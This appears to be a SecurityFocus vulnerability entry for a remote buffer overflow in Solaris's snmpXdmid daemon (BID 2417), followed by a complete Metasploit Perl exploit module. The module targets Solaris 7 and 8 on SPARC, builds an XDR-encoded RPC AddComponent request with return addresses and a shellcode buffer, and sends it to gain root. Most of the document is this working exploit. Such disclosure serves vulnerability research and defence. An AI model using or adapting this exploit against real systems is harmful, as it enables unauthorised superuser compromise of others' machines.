source: https://www.securityfocus.com/bid/2417/info
Versions 2.6, 7, and 8 of Sun Microsystem's Solaris operating environment ship with service called 'snmpXdmid'. This daemon is used to map SNMP management requests to DMI requests and vice versa.
SnmpXdmid contains a remotely exploitable buffer overflow vulnerability. The overflow occurs when snmpXdmid attempts to translate a 'malicious' DMI request into an SNMP trap.
SnmpXdmid runs with root privileges and any attacker to successfully exploit this vulnerability will gain superuser access immediately.
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##
package Msf::Exploit::solaris_snmpxdmid;
use base "Msf::Exploit";
use strict;
use Pex::Text;
use Pex::SunRPC;
use Pex::XDR;
my $advanced = { };
my $info =
{
'Name' => 'Solaris snmpXdmid AddComponent Overflow',
'Version' => '$Revision: 1.6 $',
'Authors' => [ 'vlad902 <vlad902 [at] gmail.com>', ],
'Arch' => [ 'sparc' ],
'OS' => [ 'solaris' ],
'Priv' => 1,
'UserOpts' => {
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target RPC port', 111],
},
'Payload' => {
'Space' => 64000,
'MinNops' => 63000,
},
'Description' => Pex::Text::Freeform(qq{
Exploit based on LSD's solsparc_snmpxdmid.c. Exploit a simple overflow and
return to the heap avoiding NX stacks.
}),
'Refs' => [
['BID', 2417],
['URL', 'http://lsd-pl.net/code/SOLARIS/solsparc_snmpxdmid.c'],
],
'Targets' => [
[ 'Solaris 7 / SPARC', 0xb1868 + 96000, 0xb1868 + 32000 ],
[ 'Solaris 8 / SPARC', 0xcf2c0 + 96000, 0xcf2c0 + 32000 ],
],
'Keys' => ['snmpxdmid'],
};
sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}
sub Exploit {
my $self = shift;
my $target_idx = $self->GetVar('TARGET');
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $target = $self->Targets->[$target_idx];
my %data;
my $host = $self->GetVar('RHOST');
my $port = $self->GetVar('RPORT');
if(Pex::SunRPC::Clnt_create(\%data, $host, $port, 100249, 1, "tcp", "tcp") == -1)
{
$self->PrintLine("[*] RPC request failed (snmpXdmid).");
return;
}
$self->PrintLine("[*] Using port $data{'rport'}");
Pex::SunRPC::Authunix_create(\%data, "localhost", 0, 0, []);
$self->PrintLine("[*] Generating buffer...");
my $array1 =
(pack("N", ($target->[2])) x (1248/4)).
(pack("N", ($target->[1])) x (352/4)).
(pack("N", 0));
my $array2 =
(pack("N", 0) x (64000/4)).
($shellcode).
(pack("N", 0));
my @array1_tbl = map { unpack("C", $_) } split(//, $array1);
my @array2_tbl = map { unpack("C", $_) } split(//, $array2);
my $buf =
Pex::XDR::Encode_int(0).
Pex::XDR::Encode_int(0).
Pex::XDR::Encode_bool(1).
Pex::XDR::Encode_int(0).
Pex::XDR::Encode_bool(1).
Pex::XDR::Encode_varray([@array1_tbl], \&Pex::XDR::Encode_lchar).
Pex::XDR::Encode_bool(1).
Pex::XDR::Encode_varray([@array2_tbl], \&Pex::XDR::Encode_lchar).
Pex::XDR::Encode_int(0).
Pex::XDR::Encode_int(0);
$self->PrintLine("[*] Sending payload...");
if(Pex::SunRPC::Clnt_call(\%data, 0x101, $buf) == -1)
{
$self->PrintLine("[*] snmpXdmid addcomponent request failed.");
return;
}
$self->PrintLine("[*] Sent!");
return;
}